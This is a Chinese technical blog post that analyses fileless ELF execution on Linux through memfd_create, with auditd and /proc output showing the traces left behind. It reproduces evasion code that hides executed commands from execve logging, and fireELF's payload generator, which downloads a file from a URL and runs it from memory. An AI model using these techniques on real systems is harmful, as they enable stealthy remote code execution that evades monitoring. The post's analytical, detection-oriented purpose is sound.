linux环境下无文件执行elf

说明

有关linux无文件渗透执行elf的文章晚上已经有非常多了,比如In-Memory-Only ELF Execution (Without tmpfs)ELF in-memory execution以及这两篇文章对应的中文版本Linux无文件渗透执行ELFLinux系统内存执行ELF的多种方式,还存在部分工具fireELF(介绍:fireELF:无文件Linux恶意代码框架).所有的无文件渗透最关键的方法就是memfd_create()这个方法.

MEMFD_CREATE

关于MEMFD_CREATE,在其介绍上面的说明如下:MEMFD_CREATE
int memfd_create(const char *name, unsigned int flags);

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file,and so can be modified, truncated, memory-mapped, and so on.However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using mmap with the MAP_ANONYMOUS flag.

The initial size of the file is set to 0. Following the call, the file size should be set using ftruncate(2). (Alternatively, the file may be populated by calls to write(2) or similar.)

The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

翻译为中文就是:
memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符.这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等.不同于一般文件,此文件是保存在RAM中.一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放.匿名内存用于此文件的所有的后备存储.所以通过memfd_create()创建的匿名文件和通过mmap以MAP_ANONYMOUS的flag创建的匿名文件具有相同的语义.
这个文件的初始化大小是0,之后可以通过ftruncate或者write的方式设置文件大小.
memfd_create()函数提供的文件名,将会在/proc/self/fd所指向的连接上展现出来,但是文件名通常会包含有memfd的前缀.这个文件名仅仅只是用来debug,对这个匿名文件的使用没有任何的影响,同时多个文件也能够有一个相同的文件名.

在介绍完了memfd_create()之后,我们将以几个实际的例子来说明情况.

ptrace

ptrace是由奇安信推出的一个开源的工具,其介绍是 Linux低权限模糊化执行的程序名和参数,避开基于execve系统调用监控的命令日志.其示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <errno.h>

int anonyexec(const char *path, char *argv[])
{
int fd, fdm, filesize;
void *elfbuf;
char cmdline[256];

fd = open(path, O_RDONLY);
filesize = lseek(fd, SEEK_SET, SEEK_END);
lseek(fd, SEEK_SET, SEEK_SET);
elfbuf = malloc(filesize);
read(fd, elfbuf, filesize);
close(fd);
fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
ftruncate(fdm, filesize);
write(fdm, elfbuf, filesize);
free(elfbuf);
sprintf(cmdline, "/proc/self/fd/%d", fdm);
argv[0] = cmdline;
execve(argv[0], argv, NULL);
free(elfbuf);
return -1;
}

int main()
{
char *argv[] = {"/bin/uname", "-a", NULL};
int result =anonyexec("/bin/uname", argv);
return result;
}

对以上的代码进行分析

lseek

lseek的函数原型是:

1
2
3
#include <unistd.h>

off_t lseek(int fd,off_t offset,int whence); /*Returns new file offset if successful, or -1 on error*/

其中whence的取值有三个,分别是SEEK_SET,SEEK_CUR,SEEK_END三个值,取值不同对offset的解释也不同,具体参考LSEEK(2)

而本例中的 filesize = lseek(fd, SEEK_SET, SEEK_END); 等价于 filesize = lseek(fd, 0, SEEK_END); 表示获取整个文件的大小

1
2
3
4
5
fd = open(path, O_RDONLY);
filesize = lseek(fd, SEEK_SET, SEEK_END);
lseek(fd, SEEK_SET, SEEK_SET);
elfbuf = malloc(filesize);
read(fd, elfbuf, filesize);

所以上面的代码含义就是:读取path文件,通过lseek获取path文件的大小,并通过write函数将path文件的内容写入到elfbuf中.

memfd_create

按照我们前面对memfd_create的讨论,直接通过memfd_creat(“elf”, MFD_CLOEXEC);这样理论上就可以得到一个匿名文件的fd 和上面代码中的 syscall(__NR_memfd_create, “elf”, MFD_CLOEXEC);是完全等价的

关于这一点我非常的纳闷,后来看了In-Memory-Only ELF Execution 才知道这篇文章中使用的perl语言,考虑到在perl语言中没有libc库,所以无法直接调用memfd_create()函数.所以需要借助与syscall的方式调用memfd_create()方法.那么通过syscall()调用需要知道memfd_create()的系统调用码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ uname -a
Linux 5.0.0-25-generic #26~18.04.1-Ubuntu SMP Thu Aug 1 13:51:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)
linux/memfd.h:#define MFD_CLOEXEC 0x0001U
valgrind/vki/vki-scnums-x86-linux.h:#define __NR_memfd_create 356
valgrind/vki/vki-scnums-ppc64-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-arm-linux.h:#define __NR_memfd_create 385
valgrind/vki/vki-scnums-mips64-linux.h:#define __NR_memfd_create (__NR_Linux + 314)
valgrind/vki/vki-scnums-s390x-linux.h:#define __NR_memfd_create 350
valgrind/vki/vki-scnums-arm64-linux.h:#define __NR_memfd_create 279
valgrind/vki/vki-scnums-ppc32-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-mips32-linux.h:#define __NR_memfd_create (__NR_Linux + 354)
valgrind/vki/vki-scnums-amd64-linux.h:#define __NR_memfd_create 319
x86_64-linux-gnu/bits/mman-shared.h:# ifndef MFD_CLOEXEC
x86_64-linux-gnu/bits/mman-shared.h:# define MFD_CLOEXEC 1U
x86_64-linux-gnu/bits/syscall.h:#ifdef __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:# define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319

memfd_create的函数调用码是319,MFD_CLOEXEC对应的值是1U.综合以下的三种方式都是等价的:

  • memfd_create(“elf”,MFD_CLOSEXEC)
  • syscall(__NR_memfd_create, “elf”, MFD_CLOEXEC);
  • syscall(319,”elf”,1);

除此之外,还要说明下MFD_CLOEXEC这个设置的含义.MFD_CLOEXEC等同于close-on-exec.顾名思义,就是在运行完毕之后关闭这个文件句柄.在复杂系统中,有时我们fork子进程时已经不知道打开了多少个文件描述符(包括socket句柄等),这此时进行逐一清理确实有很大难度。我们期望的是能在fork子进程前打开某个文件句柄时就指定好:“这个句柄我在fork子进程后执行exec时就关闭”。其实时有这样的方法的:即所谓的 close-on-exec。

execve

执行的关键代码是:

1
2
3
sprintf(cmdline, "/proc/self/fd/%d", fdm);
argv[0] = cmdline;
execve(argv[0], argv, NULL);

将所得到的匿名文件句柄赋值给当前进程的文件描述符,返回给cmdline,所以cmdline就是当前进程的文件描述符(其内容就是anonyexec函数所传递过来的path的内容)
所以execve(argv[0],argv,NULL),在本例中就等同于execve(“/binuname”,”-a”,NULL);
通过auditd监控,我们得到的结果如下:

1
2
3
4
5
type=EXECVE msg=audit(1566354435.549:153): argc=2 a0="/proc/self/fd/4" a1="-a"
type=CWD msg=audit(1566354435.549:153): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566354435.549:153): item=0 name="/proc/self/fd/4" inode=1550663 dev=00:05 mode=0100777 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566354435.549:153): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566354435.549:153): proctitle="./a.out"

捕获到的代码执行的语句是 type=EXECVE msg=audit(1566354435.549:153): argc=2 a0=”/proc/self/fd/4” a1=”-a” 根本就没有出现uname,而是/proc/self/fd/4,躲避了利用execve进行命令监控的检测.

通过监控proc,得到对应的信息是: {“pid”:”8360”,”ppid”:”22571”,”uid”:”1000”,”cmdline”:”/proc/self/fd/4 -a “,”exe”:”/memfd:elf (deleted)”,”cwd”:”/home/spoock/Desktop/test”} 与auditd监控到的数据是吻合的.

至于memfd_create()函数提供的文件名,在exe上面体现出来了,即/memfd:elf (deleted),以memfd:开头紧接着是文件名.

ELF in-memory execution

再来看看在ELF in-memory execution中的示例程序,与ptrace的程序还是存在区别.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int main() {
int fd;
pid_t child;
char buf[BUFSIZ] = "";
ssize_t br;

fd = syscall(SYS_memfd_create, "foofile", 0);
if (fd == -1) {
perror("memfd_create");
exit(EXIT_FAILURE);
}

child = fork();
if (child == 0) {
dup2(fd, 1);
close(fd);
execlp("/bin/date", "", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
} else if (child == -1) {
perror("fork");
exit(EXIT_FAILURE);
}

waitpid(child, NULL, 0);

lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1) {
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;

printf("pid:%d\n", getpid());
printf("child said: '%s'\n", buf);
pause();
exit(EXIT_SUCCESS);
}

与ptrace不同的是,上述的代码使用了fork()来实现无文件渗透的目的.前面的fd = syscall(SYS_memfd_create, “foofile”, 0);和ptrace的含义一样,这里就不做说明了.

fork

1
2
3
4
5
6
7
8
9
10
11
child = fork();
if (child == 0) {
dup2(fd, 1);
close(fd);
execlp("/bin/date", "/bin/date", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
} else if (child == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
  1. child=fork(),fork得到一个子进程;
  2. child == 0 判断当前的进程是否为子进程,如果是子进程,就进行后面的操作;
  3. dup2(fd, 1);close(fd); 将子进程的1文件描述符(标准输出)指向fd
  4. execlp(“/bin/date”, “/bin/date”, NULL); execlp()和execve()的作用一样,都是执行程序.在这里就是执行/bin/date代码;

由于子进程已经将标准输出指向了fd,那么通过execlp(“/bin/date”, “/bin/date”, NULL);执行的结果就会写入到fd中.

read

关于fork,我们需要明确的是,执行fork()时,子进程会获得父进程所以文件描述符的副本.这些副本的创建方式类似于dup(),这也意味着父,子进程中对应的描述符均指向相同的打开文件句柄.所以在子进程对fd修改了之后,在父进程中也是能够看到对fd修改的.

分析下面的代码:

1
2
3
4
5
6
7
lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1) {
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;

  1. lseek(fd, 0, SEEK_SET); 将文件fd的偏移量重置为文件开头
  2. br = read(fd, buf, BUFSIZ); 读取fd的大小至buf中,并返回读取文件的长度br
  3. buf[br] = 0; 将最后一个字符设置为0

最终就是通过printf(“child said: ‘%s’\n”, buf); 打印fd的结果,其实就是/bin/date的执行结果.
我们分析通过audit和proc下面来观察执行过程.
audit的查看结果如下:

1
2
3
4
5
6
type=SYSCALL msg=audit(1566374961.124:5777): arch=c000003e syscall=59 success=yes exit=0 a0=55d8b6c9ac1a a1=7ffdd40de700 a2=7ffdd40e08a8 a3=0 items=2 ppid=22918 pid=22919 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=2 comm="date" exe="/bin/date" key="rule01_exec_command"
type=EXECVE msg=audit(1566374961.124:5777): argc=1 a0=""
type=CWD msg=audit(1566374961.124:5777): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566374961.124:5777): item=0 name="/bin/date" inode=8912931 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566374961.124:5777): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566374961.124:5777): proctitle="(null)"

在proc中查看的信息:

1
2
3
4
5
6
7
8
9
10
11
$ ls -al /proc/22918/fd
total 0
dr-x------ 2 spoock spoock 0 Aug 21 17:58 .
dr-xr-xr-x 9 spoock spoock 0 Aug 21 17:52 ..
lrwx------ 1 spoock spoock 64 Aug 21 17:58 0 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 1 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 2 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 3 -> '/memfd:foofile (deleted)'

$ ls -al /proc/22918/exe
lrwxrwxrwx 1 spoock spoock 0 Aug 21 17:52 /proc/22918/exe -> /home/spoock/Desktop/test/a.out

这个特征还是很明显的,文件描述符3和ptrace的特征是一样的,都是以memfd开头,后面跟着是通过memfd_create()创建的匿名文件的名字.

fireELF

fireELF也是一款无文件的渗透测试工具,其介绍如下:

fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with ‘memfd_create’ which is a new way to run linux elf executables completely from memory, without having the binary touch the harddrive.

根据其介绍,说明其也是通过memfd_create()的方式来创建一个位于内存中的匿名文件进行无文件渗透实验的.分析其核心代码:simple.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64

desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"}

def main(is_url, url_or_payload):
payload = '''import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve'''
if is_url:
payload += '\ncontent = urllib2.urlopen("{}").read()'.format(url_or_payload)
else:
encoded_payload = base64.b64encode(url_or_payload).decode()
payload += '\ncontent = base64.b64decode("{}")'.format(encoded_payload)
payload += '''\nfd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)'''
return payload

其实关键代码还是:

1
2
3
4
5
6
7
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fd = syscall(319, "", 1)
fexecve = libc.fexecve
os.write(fd, content)
fexecve(fd, argv, argv)

本质上还是调用memfd_create()创建了一个匿名文件,通过os.write(fd, content)注入payload,最后利用fexecve(fd, argv, argv)执行.和前面的两种做法本质上还是一样的.

总结

无文件执行elf本质上其实就是利用了memfd_create()创建了一个位于内存中的匿名文件,某种程度上给检测还是带来一些挑战.虽然如此,通过memfd_create()的方式执行elf还是有一些特征的.

参考

Linux无文件渗透执行ELF
Linux系统内存执行ELF的多种方式